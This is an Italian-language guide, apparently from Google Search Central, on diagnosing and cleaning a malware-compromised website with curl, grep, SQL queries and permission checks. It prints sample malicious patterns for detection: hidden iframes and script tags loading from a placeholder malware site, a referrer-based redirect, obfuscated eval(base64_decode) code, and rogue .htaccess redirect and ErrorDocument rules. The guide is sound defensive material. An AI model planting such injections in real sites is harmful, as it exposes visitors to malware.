Compromissione con malware

I malware sono software o applicazioni mobile pensati appositamente per danneggiare un computer, un dispositivo mobile, il software in esecuzione o gli utenti. Per saperne di più su cosa si intende per malware, consulta Malware e software indesiderato.

Se il tuo sito contiene malware, in genere gli utenti vedranno l'avviso "Questo sito potrebbe danneggiare il tuo computer" visualizzato nei risultati di ricerca o su una pagina interstitial mostrata dal browser quando l'utente tenta di visitare il tuo sito, ad esempio:

Pagina interstitial di malware rappresentativa
Risultati di ricerca con un avviso di malware.

Dovrai avere quanto segue:

  • Accesso amministrativo tramite shell o terminale ai server del tuo sito: web, database e file.
  • Conoscenza dei comandi della shell o del terminale.
  • La possibilità di eseguire query SQL sul database.

Preparazione

  • Registrati a Search Console e verifica la proprietà del tuo sito compromesso come descritto nella pagina. Search Console fornisce un esempio di pagine interessate, il che semplifica notevolmente la ricerca e la correzione dei problemi relativi ai siti compromessi con malware. Inoltre, riceverai un avviso quando viene rilevato che il tuo sito è interessato da molti tipi di malware o altri attacchi.
  • Visualizza la pagina di diagnostica di Google Navigazione sicura per consultare le informazioni pubbliche relative alla potenziale pericolosità di un sito per gli utenti. Puoi visualizzare lo stato della scheda della tua pagina o del tuo sito all'URL simile al seguente: https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** Ad esempio: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> può essere l'URL di una pagina specifica (http://example.com/badpage) o l'intero sito (example.com).

  • Evita di utilizzare un browser per visualizzare le pagine del tuo sito. Poiché spesso il malware si diffonde sfruttando le vulnerabilità del browser, l'apertura di una pagina infetta da malware in un browser potrebbe danneggiare il computer. A meno che le istruzioni di diagnostica non ti indichino di accedere alla pagina direttamente nel browser, utilizza cURL o Wget per eseguire richieste HTTP (ad esempio, per recuperare una pagina).

    Questi strumenti disponibili senza costi sono utili nella diagnosi dei reindirizzamenti e hanno la flessibilità di includere le informazioni sui referrer o sullo user-agent. L'inclusione di un referrer o di un user-agent specifico è utile per imitare gli hacker, perché questi potrebbero pubblicare contenuti dannosi solo per gli utenti con user-agent o referrer specifici per scegliere come target più "persone reali" ed evitare di essere rilevati dai proprietari dei siti e dagli scanner di malware.

`curl -v --referer "http://www.google.com" <your-url>`

Ecco un esempio che specifica sia uno user agent che un referrer:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

Ti consigliamo di recuperare una pagina con e senza --referer "https://www.google.com", perché alcuni malware vengono attivati solo quando gli utenti provengono dai risultati della Ricerca Google.

  • Crea un documento in cui registrare le informazioni ricavate con questo passaggio. Il documento includerà eventualmente (come minimo) il nome e la posizione di ogni file danneggiato, nonché note su come è stato infettato e servirà da base per pulire e mantenere il tuo sito.

  • Guarda il video all'inizio di questa pagina per scoprire come funzionano i malware e come puoi difenderti durante le indagini.

Diagnosi

Determina quale malware sta interessando il tuo sito:

  1. Apri il report Problemi di sicurezza per il tuo sito in Search Console. Espandi la descrizione dell'avviso relativo al malware per visualizzare un elenco di pagine interessate di esempio. Tieni presente che questo elenco non è esaustivo. Potresti non trovare pagine di esempio per tutti i tipi di malware presenti sul tuo sito.
  2. Verifica la presenza dei seguenti tipi di malware nelle tue pagine di esempio.

Malware di configurazione del server (reindirizzamenti indesiderati)

Un hacker ha compromesso il tuo sito e reindirizza i visitatori dal tuo sito valido al proprio sito di attacchi malware, probabilmente tramite la modifica dei file di configurazione del server. I file di configurazione del server solitamente consentono all'amministratore del sito di specificare i reindirizzamenti URL per pagine o directory specifiche su un sito web. Ad esempio, sui server Apache, questo è il file .htaccess o httpd.conf.

Diagnosi

Visita alcuni degli URL di esempio elencati nel rapporto Problemi di sicurezza. La risposta di una pagina con un tipo di infezione "configurazione server" può restituire le seguenti intestazioni:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

Determinare i file interessati

Accedi al server tramite l'accesso dei comandi di shell o terminale (se preferisci, il sito può essere offline) e consulta i file di configurazione pertinenti del server. Sul tuo sito potrebbe esserci più di un file di configurazione del server compromesso. In questi file, verifica la presenza di direttive indesiderate, come i reindirizzamenti a siti sconosciuti. Ad esempio, nel file .htaccess potresti vedere un reindirizzamento simile al seguente:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

SQL injection

Un hacker ha compromesso il database del tuo sito. Ad esempio, l'hacker potrebbe aver inserito un codice dannoso in ogni record della tabella di database in modo programmatico. Successivamente, quando il server carica una pagina che richiede informazioni dal database, il codice dannoso viene incorporato nel contenuto della pagina e può danneggiare i visitatori del sito.

Diagnosi

  1. Esegui alcune query sugli URL interessati nella riga di comando e, nella risposta, cerca le parole che indicano un attacco SQL come "iframe" o "eval".
  2. Accedi al server del tuo database o visualizza il database con uno strumento come phpMyAdmin. Se hai utilizzato Wget o cURL, cerca di mettere in correlazione il danno rilevato nel codice sorgente della pagina tramite Wget o cURL con le voci effettive del database. Ad esempio, se hai notato che le tue pagine includevano un iframe pericoloso, puoi eseguire una query SQL per cercare il codice iframe. Ad esempio:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
  3. Ti consigliamo inoltre di cercare attività insolite, come errori o comandi SQL inaspettati che sembrano anomali per gli utenti abituali, nel log del database e nei file di errore sul server.

Risolvere il problema

Aggiorna ogni record del database infetto o ripristina l'ultimo backup noto del database.

Iniezione di codice

Le pagine del tuo sito sono state modificate per includere codice dannoso, ad esempio un iframe a un sito di attacco malware.

Diagnosi

Visita alcuni degli URL di esempio mostrati nel report Problemi di sicurezza con cURL o wGet ed esamina se sono presenti codici sospetti. Il codice iniettato può essere di molti tipi ed essere difficile da trovare. Potrebbe essere utile cercare parole come "iframe" per trovare il codice iframe. Altre parole chiave utili sono "script", "eval" e "unescape". Ad esempio, per cercare "iframe" in tutti i file su sistemi basati su Unix:

$grep -irn "iframe" ./ | less</pre>

Di seguito sono riportati alcuni pattern di malware comuni da cercare.

Un iframe che carica un sito dannoso:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

JavaScript o un altro linguaggio di scripting che chiama ed esegue script da un sito di attacco:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

Scripting che reindirizza il browser a un sito pericoloso:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;
<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

Codice dannoso offuscato per evitarne il rilevamento:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

File di oggetti condivisi, progettati per scrivere casualmente codice dannoso in script che altrimenti sarebbero privi di pericoli:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

Modelli di errori dannosi

Il modello utilizzato per i messaggi di errore, come 404 File non trovato, è configurato per distribuire malware. In questo modo, gli utenti malintenzionati possono lanciare attacchi contro URL che non sono nemmeno presenti sul tuo sito.

Diagnosi

Richiedi sul tuo sito una pagina non esistente o che genera un altro tipo di errore ed esamina la risposta per vedere se proviene da un altro sito o se contiene malware.

Risolvere il problema

Accedi al tuo server web e cerca nei file di configurazione del server le direttive per la pagina di errore. Ad esempio, il modello di errore per i web server Apache può essere dichiarato nel file .htaccess. Ecco un esempio di voce del file .htaccess che recupera le pagine di errore 404 da un sito dannoso:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

Quando è tutto pronto per ripulire il sito, sostituisci i file .htaccess con un backup noto oppure elimina le direttive ErrorDocument indesiderate dai file .htaccess esistenti. Assicurati di eliminare anche i file di errore effettivamente presenti sul sito. Infine, riavvia il server web per assicurarti che tutte le modifiche vengano applicate.

Risorse caricate da un sito compromesso o dannoso {compromised-resources}

Il tuo sito utilizza contenuti o risorse di un sito web che è noto per contenere contenuti dannosi. Potrebbero essere file JavaScript, immagini o altri file. Per questo motivo, il tuo sito verrà segnalato per malware caricato da quell'altro sito.

Diagnosi

Visita alcuni degli URL di esempio elencati nel rapporto Problemi di sicurezza.

Risolvere il problema

  1. Per confermare il problema, visualizza alcuni dei campioni di URL elencati nel report Problemi di sicurezza in Search Console. Dovresti visualizzare un avviso del browser.
  2. L'avviso del browser ti fornirà il dominio dei contenuti discutibili. Rimuovi tutti i riferimenti al sito segnalato elencati nell'avviso del browser. Se i contenuti di un sito segnalato sono stati inclusi a tua insaputa, il problema è più grave. È molto probabile che il tuo sito sia stato compromesso e dovresti continuare a esaminarlo per rilevare altri attacchi e vulnerabilità.
  3. Se hai incluso intenzionalmente contenuti di un sito legittimo che è stato segnalato e vuoi includerli di nuovo dopo la pulizia del sito segnalato, puoi monitorare lo stato del sito utilizzando la pagina di diagnostica di Navigazione sicura di Google per quel sito (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external}. I proprietari di siti legittimi di solito li ripuliscono rapidamente.

Ulteriori indagini

Successivamente, controlla se sono presenti altri file o modifiche dannosi nel sistema. L'hacker potrebbe aver modificato pagine o record di database esistenti, creato nuove pagine di spam, scritto funzioni che mostrano spam su pagine pulite o lasciato "backdoor" che consentono all'hacker di rientrare nel tuo sito o che reinseriscono il codice dannoso che hai rimosso.

Se il tuo sito è online, ti consigliamo di metterlo offline per questa indagine.

Se disponi di un backup valido del tuo sito, determina quali file sono stati creati o modificati dal backup ed esaminali. Sui sistemi basati su Unix, puoi utilizzare un comando come il seguente per trovare nuovi file:

diff -qr <current-directory> <backup-directory>

Ad esempio:

diff -qr www/ backups/full-backup-20120124/

Inoltre:

md5sum <current-page> <backup-page>

Ad esempio:

md5sum www/page.html backups/full-backup-20120124/page.html

Controlla i log di server, accesso ed errori per rilevare eventuali attività sospette, ad esempio tentativi di accesso non riusciti, cronologia dei comandi (in particolare come utente root) e creazione di account utente sconosciuti. Tieni presente che l'hacker potrebbe aver alterato questi log per i suoi scopi. Alcuni esempi sono mostrati nel video relativo a Identificare la vulnerabilità.

Controlla i file di configurazione per verificare la presenza di reindirizzamenti. I file di configurazione sono tipicamente denominati .htaccess e httpd.conf. Gli hacker spesso creano reindirizzamenti conditional in base allo user-agent, all'ora del giorno o al referrer. Se devi aggiornare i file di configurazione, potrebbe essere necessario riavviare il server affinché le modifiche vengano applicate.

Controlla se le autorizzazioni di cartelle e file sono troppo permissive. Gli hacker manomettono le autorizzazioni perché, se quelle permissive rimangono non rilevate dal proprietario del sito, l'hacker avrà un modo per rientrare nel sito. I file di dimensioni superiori a 644 (rw-r--r--) e le cartelle di dimensioni superiori a 755 (rwxr-xr-x) possono causare problemi di sicurezza. Assicurati che le autorizzazioni più ampie siano davvero necessarie. Su sistemi basati su Unix, prova a:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

and:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

Se hai un database, esaminalo record per record utilizzando uno strumento come phpMyAdmin.